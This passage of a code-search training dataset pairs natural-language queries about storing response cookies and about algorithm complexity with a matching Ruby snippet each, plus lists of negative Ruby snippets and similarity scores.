"0.5510722", "0.550211", "0.5497276", "0.54922754", "0.54914916", "0.54900557", "0.5487881", "0.5487541", "0.54866713", "0.5484195", "0.5482875", "0.54814684", "0.5469367", "0.546665", "0.5452841", "0.54512715" ]
0.67925197
6
Stores cookies in the response for later use
def set_cookies(response) cookie_str = response.header['set-cookie'] return if cookie_str.nil? fields = cookie_str.split("; ").inject({}) { |h, field| key, value = field.split("=") h[key] = value h } # This is obviously not a generalized cookie implementation. Heh. fields.delete('path') @cookies = fields end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def collect_cookies_from_response; end", "def store_session(res)\n my_cookie = WEBrick::Cookie.new('_rails_lite_app', @cookies.to_json)\n res.cookies << my_cookie\n end", "def add_cookies(response)\n return unless response.key?('set-cookie')\n response.get_fields('set-cookie').each do |cookie|\n (key, val) = cookie.split('; ')[0].split('=', 2)\n cookies[key] = val\n end\n end", "def store_session(response)\n attributes = { path: \"/\", value: @cookie.to_json }\n response.set_cookie(APP_NAME, attributes)\n end", "def store_session(res)\n res.set_cookie(cookie_key, { value: @cookie.to_json, path: '/' })\n end", "def store_session(res)\n cookie = WEBrick::Cookie.new('_rails_lite_app', @cookie.to_json)\n res.cookies << cookie\n end", "def set_cookie(response)\n\t\ttest_cookie = response.get_fields('set-cookie')\n\n\t\tif @cookie_array.include? test_cookie\n\t\t\t@cookies\n\t\telse\n\t\t\t@cookie_array << test_cookie\n \t\t\t@cookies = @cookie_array.join('; ')\n \t\tend\n\t\t#@cookies = response.get_fields('set-cookie')\n\tend", "def cookies() @_cookies ||= ::Merb::Cookies.new(request.cookies, @_headers) end", "def save( response )\n\t\tself.log.debug \"Saving session %s\" % [ self.session_id ]\n\t\tself.class.save_session_data( self.session_id, @hash )\n\t\tself.log.debug \"Adding session cookie to the response.\"\n\n\t\tsession_cookie = Strelka::Cookie.new(\n\t\t\tself.class.cookie_name,\n\t\t\tself.session_id,\n\t\t\tself.class.cookie_options || {}\n\t\t)\n\n\t\tresponse.cookies << session_cookie\n\tend", "def store_session(res)\n res.set_cookie\n end", "def store_session(res)\n res.cookies << WEBrick::Cookie.new('_rails_lite_app', @hash.to_json)\n end", "def store_session(res)\n res.set_cookie(@cookie.to_json)\n debugger\n end", "def store_session(res)\n res_cookie = WEBrick::Cookie.new(\n \"_rails_lite_app\",\n @value.to_json\n )\n\n res_cookie.path = \"/\"\n res.cookies << res_cookie\n end", "def set_cookie(response)\n response.set_cookie(Webmetrics::Config.cookie_name, {\n :value => self.id,\n :path => \"/\",\n :expires => Time.now+Webmetrics::Config.cookie_expiration\n })\n end", "def store_session(res)\n res.cookies << WEBrick::Cookie.new(\"_flash\", @flash_hash.to_json)\n end", "def store_session(res)\n cookie = WEBrick::Cookie.new('_rails_lite_app', @session.to_json)\n res.cookies << cookie\n end", "def store_flash(res)\n update_flash\n res.cookies << WEBrick::Cookie.new(@cookie_key, @cookie.to_json)\n end", "def stash_cookie\n cookies[self.class.els_options['cookie']] = {\n :value => @els_identity.token_id,\n :domain => request.env[\"SERVER_NAME\"],\n :path => '/',\n :expires => Time.now + 24.hours\n }\n end", "def store_session(res)\n res.set_cookie(:_rails_lite_app, {path:'/', value: @cookie.to_json})\n end", "def cookies; end", "def cookies; end", "def cookies; end", "def cookies; end", "def cookies; end", "def cookies; end", "def cookies; end", "def cookies\n call_once\n @cookies\n end", "def store_session(res)\n res.set_cookie(\"_rails_lite_app\", { path: \"/\", value: \"#{@cookie.to_json}\" })\n # p res\n # res[\"_rails_lite_app\"] = @cookie.to_json\n end", "def store_flash(res)\n cookie = WEBrick::Cookie.new(\"_rails_lite_flash\", @stuff.to_json)\n cookie.path = \"/\"\n res.cookies << cookie\n end", "def store_session(res)\n cookie = { path: '/', value: @cookie_hash.to_json }\n res.set_cookie(\"_rails_lite_app\", cookie )\n end", "def store_session(res)\n attributes = { path: '/', value: @cookie.to_json }\n res.set_cookie('_rails_lite_app', attributes)\n #store_session(response) that will put the session into a cookie\n# and set it using Rack::Response#set_cookie.\n# The first argument to #set_cookie is the name of the cookie which\n# should be _rails_lite_app.\n# The second argument is the cookie attributes. These are merely a hash\n# of path: ..., value: ..., where path is the path where our cookie is\n# available and value is a string. Since we want to pass a collection\n# (our session store) in the cookie, we can serialize our instance\n# variable using JSON. The path should be / (our root url) so the cookie\n# will available at every path.\n# NB: In order for this to work properly, the path and value keys in\n# your hash must be symbols, not strings.\n end", "def store_session(res)\n app_crumb = WEBrick::Cookie.new(\"_rails_lite_app\", @session_values.to_json)\n\n res.cookies.concat([app_crumb])\n end", "def store_flash(res)\n chips_ahoy = WEBrick::Cookie.new('_rails_lite_flash', @slow_poke.to_json)\n res.cookies << chips_ahoy\n end", "def store_session(res)\n cookie = WEBrick::Cookie.new('_flash_rails_lite_app', @flash.to_json)\n res.cookies << cookie\n end", "def cookies; @cookies ||= CookieJar.new; end", "def cookies(cookies); end", "def server_cookies(response)\n raw_cookies = response.headers['Set-Cookie']\n return if raw_cookies.blank?\n\n raw_cookies.map { |ck| parse_server_cookie(ck) }\n end", "def store_flash(res)\n serialized_flash = @later.to_json\n res.cookies << WEBrick::Cookie.new(\"_rails_lite_flash\" , serialized_flash)\n end", "def cookie\n self[HttpClient::SET_COOKIE]\n end", "def set_data_in_cookie(data)\n cookies[:merged_response] = {\n :value => data,\n :expires => 1.hour.from_now,\n \n }\n end", "def cookies\n @cookies ||= (self.headers[:set_cookie] || \"\").split('; ').inject({}) do |out, raw_c|\n key, val = raw_c.split('=')\n unless %w(expires domain path secure).member?(key)\n out[key] = val\n end\n out\n end\n end", "def cookie= cookie_str\n @headers['Cookie'] = cookie_str if @use_cookies\n end", "def cookie= cookie_str\n @headers['Cookie'] = cookie_str if @use_cookies\n end", "def store_flash(res)\n res.cookies << WEBrick::Cookie.new('_rails_lite_app_flash', @flash_hash.to_json)\n end", "def set_api_response_cookie(http_response)\n all_set_cookies = http_response.get_fields('set-cookie')\n return if all_set_cookies.blank?\n\n new_api_cookies = {}\n all_set_cookies.each do |api_cookie|\n api_cookie_elements = api_cookie.split(\"; \")\n cookie_name = ''\n api_cookie_elements.each_with_index do |c_element, i|\n Rails.logger.debug(\"new_api_cookies :: #{c_element.inspect}\")\n c_sub_element = c_element.split('=', 2)\n c_sub_element_key = CGI::unescape(c_sub_element[0])\n c_sub_element_value = CGI::unescape(c_sub_element[1]) if c_sub_element[1].present?\n # Zeroth element is cookie name and value\n if i == 0\n cookie_name = c_sub_element_key\n new_api_cookies[cookie_name] = {value: c_sub_element_value, domain: GlobalConstant::CompanyApi.cookie_domain}\n elsif c_sub_element_key == \"expires\"\n new_api_cookies[cookie_name][c_sub_element_key.to_sym] = Time.zone.parse(c_sub_element_value)\n elsif c_sub_element_key == \"domain\"\n new_api_cookies[cookie_name][c_sub_element_key.to_sym] = c_sub_element_value\n elsif c_sub_element_key == \"secure\"\n new_api_cookies[cookie_name][c_sub_element_key.to_sym] = Rails.env.production?\n elsif c_sub_element_key == \"HttpOnly\"\n new_api_cookies[cookie_name][:http_only] = true\n elsif c_sub_element_key == \"SameSite\"\n new_api_cookies[cookie_name][:same_site] = c_sub_element_value\n else\n new_api_cookies[cookie_name][c_sub_element_key.to_sym] = c_sub_element_value\n end\n\n end\n end\n\n Rails.logger.debug(\"new_api_cookies :: #{new_api_cookies.inspect}\")\n @cookies[GlobalConstant::Cookie.new_api_cookie_key.to_sym] = new_api_cookies\n end", "def cookies\n WEBrick::Cookie.parse_set_cookies(headers['Set-Cookie']) rescue []\n end", "def set_cookie(cookie=nil)\n self.headers[\"Cookie\"] = cookie\n end", "def setCookies(cookies)\n @fields['cookies'] = cookies\n self\n end", "def setCookies(cookies)\n @fields['cookies'] = cookies\n self\n end", "def store_flash(res)\n res.cookies << WEBrick::Cookie.new('_rails_lite_app_flash', @persist.to_json)\n end", "def cookies\n WEBrick::Cookie.parse_set_cookies(@headers['set-cookie']) rescue []\n end", "def cookie_jar=(cookie_jar); end", "def add_cookie(cookie, value = nil)\n @response_cookies ||= {}\n\n if value\n @response_cookies[cookie] = Cookie.new(cookie, value)\n else \n @response_cookies[cookie.name] = cookie\n end\n end", "def serialize_into_cookie(record); end", "def add_cookies!(request)\n request['Cookie'] = @cookies.collect{|k, v| \"#{k}=#{v}\"}.join(\", \")\n end", "def store_flash(res)\n cookie = WEBrick::Cookie.new('_rails_lite_app_flash', flash.to_json)\n cookie.path = '/'\n res.cookies << cookie\n end", "def set_cookie\n puts \"hello\"\n # puts @order.as_json\n puts \"-==-=-=-\"\n puts \"-==-=-=-\"\n puts cookies[:name] = current_admin.name\n puts \"-==-=-=-\"\n puts \"-==-=-=-\"\n end", "def store_flash(res)\n res.set_cookie('_rails_lite_app_flash', {path: '/', value: @new_cookie.to_json})\n end", "def finish(req, res, *)\n res.cookies.finish\n super\n end", "def cookie_add(name, value=nil)\n return dup_without_response.cookie_add(name, value) if response\n\n cookies_string = HTTY::CookiesUtil.cookies_to_string(cookies +\n [[name.to_s, value]])\n if cookies_string\n @headers[COOKIES_HEADER_NAME] = cookies_string\n else\n @headers.delete COOKIES_HEADER_NAME\n end\n self\n end", "def set_cookie options\n options ||= {}\n \n @header[\"Set-Cookie\"] = options.collect{|key,value|\"#{key}=#{value}\"}.join(\"; \")\n end", "def set_cookie!\n cookies[:user_session] = {\n :value => token,\n :secure => controller.request.ssl?,\n :httponly => true,\n :expires => self.expires_at\n }\n end", "def cookie\n { :value => Crypt.encrypt(cookie_value), :expires => 1.year.from_now }\n end", "def cookies\n @request.cookies\n end", "def cookies\n @cookies_proxy ||= Class.new do\n attr_reader :controller, :response\n\n def initialize controller\n @controller, @response = controller, controller.response\n end\n\n # set cookie header\n #\n # @param [String, Symbol] key\n # @param [String, Hash] val\n # @return [Boolean]\n def []= key, val\n return if readonly?\n response.set_cookie key, val\n end\n\n # get cookie by key\n def [] key\n controller.orig_cookies[key]\n end\n\n # instruct browser to delete a cookie\n #\n # @param [String, Symbol] key\n # @param [Hash] opts\n # @return [Boolean]\n def delete key, opts ={}\n return if readonly?\n response.delete_cookie key, opts\n end\n\n # prohibit further cookies writing\n #\n # @example prohibit writing for all actions\n # before do\n # cookies.readonly!\n # end\n #\n # @example prohibit writing only for :render and :display actions\n # before :render, :display do\n # cookies.readonly!\n # end\n def readonly!\n @readonly = true\n end\n\n def readonly?\n @readonly\n end\n\n def method_missing *args\n controller.orig_cookies.send *args\n end\n end.new @ctrl\n end", "def set_cookies\n session_key = request.session_options[:id]\n\n if(!session_key.nil?)\n # Set the cookie the standard way (Set-Cookie)\n response.set_cookie(MOBILE_KEY, session_key)\n # Set the cookie the way the Android client expects it (set-cookie)\n headers[\"set-cookie\"] = headers[\"Set-Cookie\"]\n end\n end", "def set_cookie_value\n cookie_value = User.using_client_shard(client: @client).get_cookie_value(@user.id, @user.password, @browser_user_agent)\n success_with_data({cookie_value: cookie_value, user_token_sale_state: @user.get_token_sale_state_page_name})\n end", "def cookies\n rack_request.cookies\n end", "def store_session(res)\n res.set_cookie('_req_room_session', path: '/', value: data.to_json)\n end", "def use_cookies= bool\n if bool && (!@headers['Cookie'] || @headers['Cookie'].empty?)\n cookie = Kronk.cookie_jar.get_cookie_header @uri.to_s\n @headers['Cookie'] = cookie unless cookie.empty?\n\n else\n @headers.delete 'Cookie'\n end\n\n @use_cookies = bool\n end", "def cookies\n request.cookies\n end", "def cookies\n request.cookies\n end", "def cookies # :doc:\n request.cookie_jar\n end", "def cookies\n HTTY::CookiesUtil.cookies_from_string @headers[COOKIES_HEADER_NAME]\n end", "def set_cookie(options) #:doc:\n options[\"path\"] = \"/\" unless options[\"path\"]\n cookie = CGI::Cookie.new(options)\n @controller.logger.info \"Cookie set: #{cookie}\" unless @controller.logger.nil?\n @controller.response.headers[\"cookie\"] << cookie\n end", "def cookies # :doc:\n request.cookie_jar\n end", "def add_to_cookie key, value\n cookie_hash = get_accesses_cookie\n cookie_hash[key] = value\n cookies[:accesses] = cookie_hash.to_json\n end", "def set_api_cookie!\n return unless @session_object\n\n session.delete :value\n @session_object.to_hash.each { |k, v| session[k] = v }\n end", "def use_cookies= bool\n if bool && (!@headers['Cookie'] || @headers['Cookie'].empty?)\n cookie = Kronk.cookie_jar.get_cookie_header @uri.to_s\n @headers['Cookie'] = cookie unless cookie.empty?\n\n elsif !bool\n @headers.delete 'Cookie'\n end\n\n @use_cookies = bool\n end", "def cookies\n controller.send(:cookies)\n end", "def cookie\n @cookie ||= Coca::AuthCookie.new(cookies, scope)\n end", "def check_cookie(response)\n\t\t\t if response.get_fields('set-cookie')\n \t\t\tset_cookie(response)\n \t\t\tprint \"new cookie: \"\n \t\t\tputs response.get_fields('set-cookie')\n \t\t\tputs @cookies\n \t\tend\n\t\tend", "def cookies\n request.cookies\n end", "def cookies\n test_cookies\n end", "def cookies\n @controller.send(:cookies)\n end", "def show\n cookies[:arch_nombre] = { value: @archive.nombre, expires: 10.minutes.from_now }\n cookies[:arch_email] = { value: @archive.email, expires: 10.minutes.from_now }\n cookies[:arch_tel] = { value: @archive.telefono, expires: 10.minutes.from_now }\n end", "def set_cookie(name, value, attributes = {})\n cookie = Webmachine::Cookie.new(name, value, attributes).to_s\n case headers['Set-Cookie']\n when nil\n headers['Set-Cookie'] = [cookie]\n when Array\n headers['Set-Cookie'] << cookie\n end\n end", "def cookie_jar; end", "def cookie_jar; end", "def cookie_jar; end", "def cookie_jar; end", "def call(env)\n result = Cookiefilter.filter_request_cookies(env['HTTP_COOKIE'])\n env['HTTP_COOKIE'] = result[:header]\n status, headers, body = @app.call(env)\n response = Rack::Response.new body, status, headers\n header = Cookiefilter.filter_response_cookies(\n env['HTTP_HOST'],\n response.header['Set-Cookie'],\n result\n )\n response.header['Set-Cookie'] = header\n response.finish\n end", "def store_flash(res)\n cookie = @flash.to_json\n res.set_cookie('_rails_lite_app_flash', cookie)\n end", "def cookie_hash\n\t\t\t{ 'Cookie' => @cookies.to_s }\n\t\tend", "def set_cookie\n self.current_user.remember\n cookies[:auth_token] = { \n :value => self.current_user.remember_token, \n :expires => self.current_user.remember_token_expires_at }\n end", "def create_accesses_cookie\n cookies[:accesses] = {}.to_json\n end", "def cookies\n # renders static page\n end", "def cookies # :doc:\n request.cookie_jar\n end", "def store_session(res)\n path = \"\\\\\"\n value = \n res.set_cookie(\"_rails_lite_app\", \"\") \n end", "def store_location\n cookies[:return_to] = {:value => @request.request_uri, :expires => nil }\n end" ]
[ "0.80865437", "0.7780333", "0.7766894", "0.77194995", "0.7685288", "0.76228493", "0.7596847", "0.7578727", "0.7561802", "0.7513666", "0.7478621", "0.74426687", "0.73930377", "0.73720825", "0.73615545", "0.734501", "0.7330341", "0.72812396", "0.72805285", "0.7259865", "0.7259865", "0.7259865", "0.7259865", "0.7259865", "0.7259865", "0.7259865", "0.7257972", "0.72272074", "0.71989805", "0.71892935", "0.71562797", "0.70957494", "0.7091002", "0.7023146", "0.7007203", "0.69997275", "0.69645715", "0.6960272", "0.6940915", "0.6919584", "0.690937", "0.6898899", "0.6898899", "0.6888413", "0.6872147", "0.68696296", "0.68331915", "0.6819071", "0.6819071", "0.6803721", "0.6798852", "0.678595", "0.67781854", "0.6776585", "0.6772188", "0.6768636", "0.67643464", "0.6745859", "0.67259073", "0.67175573", "0.671414", "0.6712088", "0.6694351", "0.6682646", "0.6657271", "0.66569906", "0.66499466", "0.6644763", "0.66430235", "0.6639334", "0.6629588", "0.66255575", "0.66255236", "0.66207874", "0.6617475", "0.661113", "0.65906334", "0.6567319", "0.6565974", "0.6552859", "0.65523", "0.65350693", "0.65349126", "0.6533731", "0.6525714", "0.6515579", "0.65146476", "0.6509248", "0.6509248", "0.6509248", "0.6509248", "0.6500463", "0.6493926", "0.6486197", "0.6480426", "0.64605385", "0.6460463", "0.64548296", "0.6449705", "0.6448585" ]
0.76154774
6
Time Complexity O(1) Space Complexity O(n)
def fibonacci(n) if n<0 raise ArgumentError else return fibonacci_helper(n, a=0 ,b=1) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def find_dublicate(array)\n sum = 1000000*(1000000+1)/2 # (n*(n+1))/2\n array.each do |el| \n sum -= el\n end\n return sum\nend", "def solution(a)\r\n n=a.size\r\n i=1\r\n for k in a.sort do\r\n\tif k!=i \r\n\t then \r\n\t return 0\r\n\t break;\r\n\tend\r\n i+=1;\r\n end\t\r\n return 1 if a.inject(:+) ==n*(n+1)/2;\r\nend", "def my_min_2(list)\r\n min = 0 # O(1)\r\n \r\n list.each do |ele| # O(n) \r\n if ele < min # O(1)\r\n min = ele # O(1)\r\n end\r\n end\r\n min # O(1) \r\nend", "def largest_subsum(list)\n max = list[0] # O(1)\n current_sum = list[0] # O(1)\n\n (1...list.length).each do |i| # O(n)\n # debugger\n if current_sum < 0 # O(1)\n current_sum = 0 # O(1)\n end \n current_sum += list[i] # O(1)\n if current_sum > max # O(1)\n max = current_sum # O(1)\n end\n end\n\n max # O(1)\n\nend", "def sorted_squares(nums)\n # This takes O(n)\n nums.map! { |num| num**2 }\n # This can take Ο(n logn)\n bubble_sort(nums)\nend", "def solution(m, a)\n n = a.count\n result = 0\n front = 0\n numbers = Array.new(m + 1, false)\n n.times { |back|\n while front < n and not numbers[a[front] - 1]\n numbers[a[front] - 1] = true\n front += 1\n result += front - back\n return 1_000_000_000 if result >= 1_000_000_000\n end\n numbers[a[back] - 1] = false\n }\n result\nend", "def solution(a)\n n = a.size\n passing_cars = 0\n\n suffix_sums = Array.new(n + 1, 0)\n\n a.reverse.each_with_index do |elem, i|\n suffix_sums[i + 1] = suffix_sums[i] + elem\n end\n suffix_sums.reverse!\n\n a.each_with_index do |car, i|\n if car == 0\n passing_cars += suffix_sums[i]\n end\n end\n\n passing_cars > 1_000_000_000 ? -1 : passing_cars\nend", "def three_sum_fastest(arr)\n count = 0\n\n (0..arr.length - 2).each { |i|\n set = Set.new\n\n (i + 1..arr.length - 1).each { |j|\n if set.include?(-arr[i] - arr[j])\n count += 1\n end\n\n set.add(arr[j])\n }\n }\n count\nend", "def sub_sum(list)\n sub_arr = []\n (0...list.length).each do |i| #O(n)\n (i...list.length).each do |j| #O(n)\n sub_arr << list[i..j] if i <= j\n end\n end\n largest_continuous_sub_sum1(sub_arr)\nend", "def solution(a)\n # In production environment this will be my solution:\n # a.uniq.size\n #\n # But since this is a coding challenge, my assumption\n # is that you're looking for a by-hand O(N*logN) solution\n\n return 0 if a.empty?\n\n n = a.size\n ary = a.sort\n uniques = 1\n (1...n).each do |i|\n uniques += 1 if ary[i] != ary[i - 1]\n end\n uniques\nend", "def equal(arr)\n size = arr.size\n hash = Hash.new{|h,k| h[k] = []}\n (0...size).each do |i|\n (i + 1...size - 1).each do |j|\n sum = arr[i] + arr[j]\n if hash.has_key?(sum)\n values = hash[sum]\n values << i\n values << j\n return values\n else\n hash[sum] = [i, j]\n end\n end\n end\nend", "def my_min(list) \n\n list.each_with_index do |ele, i| #O(n)\n compare_arr = list[0...i] + list[i+1..-1] # O(2n) \n return ele if compare_arr.all? { |ele2| ele < ele2 } #O(n)\n end\n\n #time complexity = O(n^2) + O(2n)\n\nend", "def solution(a)\n n = a.size\n a.sort!\n\n count = 0\n for i in 0...n-2 do\n k = i+2\n for j in i+1...n-1 do\n while k < n and a[i] + a[j] > a[k] do\n k += 1\n end\n count += k - j - 1\n end\n end\n count\nend", "def find_duplicate(nums)\n if !nums or nums.size == 0\n return nil\n else\n fast = nums[ 0 ]\n slow = nums[ 0 ]\n while true\n fast = nums[ fast ]\n fast = nums[ fast ]\n slow = nums[ slow ]\n if fast == slow\n new_node = nums[ 0 ]\n while new_node != slow\n new_node = nums[ new_node ]\n slow = nums[ slow ]\n end\n return slow\n end\n end\n end\nend", "def solution(a)\n counter = Hash.new(0)\n a.each do |elem|\n counter[elem] += 1\n end\n\n (1..a.size).each do |number|\n return 0 if counter[number] != 1\n end\n\n 1\nend", "def hash_two_sum(arr,target_sum)\n #creates a new hash with each element that is satisfying the target_sum\n hash = Hash.new(0) #{|h,k| h[k] = []}\n (0...arr.length).each { |i| hash[i] = arr[i]} #O(n)\nend", "def largest_contiguous_subsum_2(list)# [2, 3, -6, 7, -6, 7]\n largest_num = list[0]#2 O(1)\n running_sum = list[0]#2 - 5 after entering loop. O(1)\n\n (1...list.length).each do |i| #O(n) \n running_sum = 0 if running_sum < 0 #O(1)\n running_sum += list[i] #O(1)\n largest_num = running_sum if running_sum > largest_num #O(1)\n end\n return largest_num #O(1)\nend", "def find_duplicate_space(nums)\n # sort nums first (lgn), then check for dups by iterate over (n)\n last_seen = 0\n nums.sort!.each do |num|\n return num if last_seen == num\n last_seen = num\n end\nend", "def find_amicables(n)\n pairs = []\n sum = 0\n for i in 0..n do \n next if pairs.include? i\n d = sum_proper_divisors(i)\n next if d == i\n p = sum_proper_divisors(d)\n if p == i \n pairs << d\n pairs << i\n sum += d + i\n end\n end\n return sum\nend", "def my_min_2(arr)\n\n smallest_value = arr[0] # O(1)\n\n arr.each do |ele1| # [ 0, 3, 5, 4, -5, 10, 1, 90 ] O(n)\n smallest_value = ele1 if ele1 <= smallest_value #O(1)\n end\n\n smallest_value #O(1)\n\nend", "def two_sum(arr) #o(ns)\n set = Set.new\n arr.each{|el| set << el}\n arr.select{|el| set.include?(-1 * el)}\nend", "def solution(a)\n n = a.size\n return 0 unless n > 2\n a.sort!\n\n (2..n - 1).each do |i|\n return 1 if a[i - 2] + a[i - 1] > a[i]\n end\n\n return 0\nend", "def solution(a)\n len = a.size\n unique = {}\n i = 0\n while i < len\n item = a[i]\n if unique.has_key?(item)\n unique[item] += 1\n else\n unique[item] = 1\n end\n i += 1\n end\n pairs = 0\n unique.each do |key,count|\n (1...count).step {|n| pairs += n }\n end\n return pairs > 1_000_000_000 ? 1_000_000_000 : pairs\nend", "def better_sum1(arr, target) # this one is going to return true or false\n pairs = Set.new\n\n arr.each do |ele|\n if pairs.include?(ele)\n return true\n else\n pairs << target - ele\n end\n end\n false\nend", "def amicable_numbers(n)\r\n numbers = Array.new\r\n 2.upto(n) do |x|\r\n y = d(x)\r\n if !numbers.include?(y)\r\n numbers.push(x,y) if d(y) == x && y != x\r\n end\r\n end\r\n return numbers\r\nend", "def stones(n, a, b)\n ar=[0]\n (n-1).times do |val|\n tmp=[]\n ar.each do |v|\n tmp << v+a if !tmp.include?(v+a)\n tmp << v+b if !tmp.include?(v+b)\n end\n ar=tmp\n end\n ar.sort\nend", "def efficient_contiguous_subsum(list)\n current_sum = list[0] #0\n largest_sum = list[0] #5\n # debugger\n (1...list.length).each do |i| \n if current_sum + list[i] > 0 \n current_sum += list[i] \n largest_sum = current_sum if current_sum > largest_sum\n else \n current_sum = 0\n end \n end \n largest_sum\nend", "def findDiffSquares(n)\n sum = 0\n (1..n).each { |i|\n (1..n).each { |j|\n sum += i*j unless i == j\n }\n }\n sum\nend", "def okay_two_sum?(arr, target)\n arr = arr.sort #n log n\n (0...arr.length).each do |i| #n\n search = bsearch(arr, target-arr[i]) # log n\n return true unless search.nil?\n end #n log n\n false\nend", "def solution(a)\n # write your code in Ruby 2.2\n num_of_elements=a.length\n num_of_zeros=0\n tot_num_car_pairs=0\n a.each do |element|\n if element == 0\n num_of_zeros+=1\n else\n tot_num_car_pairs+=num_of_zeros\n end\n end\n return tot_num_car_pairs>1_000_000_000?-1:tot_num_car_pairs\nend", "def two_sum?(array, target)\n #O(n)\n hash = Hash.new(0)\n i = 1\n array.each do |ele|\n hash[ele] = i \n i += 1\n end\n hash.each_key do |k|\n return true if hash.has_key?(target - k) && hash[k] != hash[target - k]\n end\n false \nend", "def lAS(n: 0)\n array = [1]\n puts \"#{array.inspect}\"\n previous = array.first\n new_array = []\n counter = 0\n \n n.times do\n previous = array.first\n counter = 0\n new_array = []\n \n array.each do |element|\n if(element == previous)\n counter = counter + 1\n else\n new_array << counter\n new_array << previous\n counter = 1\n previous = element\n end\n end\n \n new_array << counter\n new_array << previous\n array = new_array.dup\n puts \"#{array.inspect}\"\n end\nend", "def find3(a, X)\n # scan through array\n # build hash storing complement in each key\n complements = {}\n a.each_with_index do |val, ind|\n if complements[X - val]\n complements[X - val].push(ind)\n else\n complements[X - val] = [ind]\n end\n end\n\n # scan through the array again\n # get complement\n # for each value scan the remainder of the arrray\n # for a value such taht a + b = the complement\n\n # for each character we have built a dictionary such that, we can find\n # x = a + complement\n\n # [1, 2, 3]\n # 1 + 2 = 3\n # 1 + 3 = 4 =>\n\n # for each value in the array (a) look at all following values (b) and see if a + b\n # is in the dictionary, if it is, check that their indices do not collide with the index\n # stored at dict(a+b)\n\n a.each_with_index do |va, i|\n a.each_with_index do |vb, j|\n break if i == j\n\n complement = va + vb\n indices = complements[complement]\n\n indices.each do |z|\n # every index is unique\n return [i, j, z] unless z == i || z == j\n end\n end\n end\n\n return nil\nend", "def solution(a)\r\n # write your code in Ruby 2.2\r\n \r\n arr =[]\r\n a.each_with_index{|el,i|\r\n \r\n if !arr.index(el) \r\n arr << el\r\n end\r\n \r\n }\r\n arr.count\r\nend", "def my_min_2(array)#O(n)\n array.inject do |acc, ele|#O(n)\n if acc < ele\n acc\n else\n ele\n end\n end\nend", "def solution(a)\n a.uniq.count\nend", "def largest_contiguous_subsum(arr) #BigO of O(n)\n max = 0 \n current_sum = 0\n arr.each_with_index do |el,idx|\n if current_sum + el >= el \n current_sum += el \n else \n current_sum = el \n end \n max = current_sum if current_sum > max \n end \n max\nend", "def two_sum?(arr, target_sum) # O(N)\n hash = Hash.new(0)\n count = Hash.new(0)\n\n arr.each do |num|\n hash[num] = target_sum - num\n count[num] += 1\n end\n\n hash.each do |key, value|\n if hash.has_key?(value) \n if key == value \n if count[value] > 1\n return true\n end\n else\n return true\n end\n end\n end\n\n false\nend", "def find_duplicates(a)\n len=a.length\n n=len-2\n xor= 0\n x,y=0,0 #variables to store duplicates\n \n #xor of all numbers from 1 to n\n for i in 1..n \n xor^=i\n end\n #xor of all array elements\n for i in 0...len \n xor^=a[i]\n end\n #Rightmost set bit\n set_bit_pos= xor & ~(xor-1)\n #Divinding array in two sets ,one with set bit at set_bit_pos and other with 0.\n for i in 0...len\n if (a[i] & set_bit_pos == 0)\n x^=a[i] # XOR of first-set(with 0 at set_bit_pos) in array\n else\n y^=a[i] # XOR of second-set(with 1 at set_bit_pos) in array\n end\n end\n \n for i in 0..n\n if (i & set_bit_pos == 0)\n x^=i # XOR of first-set(with 0 at set_bit_pos) in range\n else\n y^=i # XOR of second-set(with 1 at set_bit_pos) in range\n end\n end\n print \"#{x} #{y}\"\n\treturn\nend", "def solve( n = 10_000 )\n (1..n).select {|i| i.amicable?}.reduce( :+ )\n end", "def seesaw?(arr)\n left_sum = 0\n arr.each_index do |i| #O(n)\n if i > 0\n left_sum = arr[0...i].reduce(:+) #O(n)\n end\n if i < arr.size-1\n right_sum = arr[i+1..-1].reduce(:+); #O(n)\n else\n right_sum = 0\n end\n if left_sum == right_sum\n return true\n end\n end\n return false\nend", "def fds(n)\n\n # arr = []\n # (n + 1).times.each{|e| arr << e if e > 0}\n # arr.flat_map.reduce(:*)\n # arr.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n (1..n).to_a.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n\nend", "def three_sum(nums)\n n = nums.length\n result = []\n for i in 0...n-2\n req_sum = 0\n hsh = Hash.new\n curr_sum = req_sum - nums[i]\n \n for j in (i+1)...n\n num = curr_sum - nums[j]\n if hsh[num]\n elements = [nums[i], num, nums[j]].sort\n result << elements unless result.include?(elements)\n end\n hsh[nums[j]] = true\n end \n end\n result\nend", "def largest_contiguous_subsum1(list)\n p Time.now\n sub_arrays = []\n list.each_index do |i|\n list.each_index do |j|\n next if j < i\n sub_arrays << list[i..j]\n end\n end\n sub_arrays.map{|numbers| numbers.inject(:+)}.max\n p Time.now\nend", "def icecreamParlor(m, arr)\n # Complete this function\n res = []\n arr.each_index do |i|\n if i + 1 !=nil\n j = i + 1\n while j <= arr.length - 1\n if arr[i]+arr[j] == m\n res.push([i+1,j+1])\n end\n j+=1\n end\n end\n end\n res\nend", "def unique_items(arr) #O(n)\n hash = Hash.new(0)\n results = []\n arr.each do |el|\n hash[el] += 1\n end\n hash.select { |k, v| k if v == 1 }.keys\nend", "def naive_algorithm(arr)\n\tproduct = 0\n\tarr.each do |i|\n\t arr.each do |j|\n\t \tp = arr[i] * arr[j]\n\t \tproduct = p if product < p\n\t end\t\n\tend\t\t\n\tproduct\nend", "def find_unique_elements(arr)\n \nend", "def solution(a)\n # write your code in Ruby 2.2\n seen = {}\n\n a.each do |number|\n seen[number] = true\n end\n\n max = a.max\n\n for i in 1..(max + 1)\n return i unless seen[i]\n end\n\n 1\nend", "def largest_contiguous_sub_sum2(arr)\n #one varable tracks largest sum\n #one variable tracks current sum\n #O(n) + O(1)\n # list = [2, 3, -6, 7, -6, 7]\n\n # largest_sum= arr.first\n\n # i = 0\n # arr_end = true\n\n # while arr_end\n # current_sum = arr[i]\n # if arr[i+1] == nil\n # arr_end = false\n # puts \"This is current sum: #{current_sum}\"\n # else\n # if current_sum > largest_sum\n # current_sum += arr[i+1]\n # largest_sum = current_sum\n # end\n # end\n # if i < arr.length\n # arr_end = true\n # i += 1\n # end\n # end\n # largest_sum\n \n\n\n # arr.each_with_index do |ele, idx|\n # if ele > largest_sum\n # largest_sum = ele\n # end\n\n # i = idx\n # sum = ele\n # while i < arr.length - 1\n # if sum <= sum + arr[i+1]\n # largest_sum = sum + arr[i+1]\n # end\n # sum = sum + arr[i+1]\n # i+=1\n # end\n # end\n # largest_sum\n\nend", "def f(n)\n # your code here\n result = []\n possibles = (2..n).flat_map{ 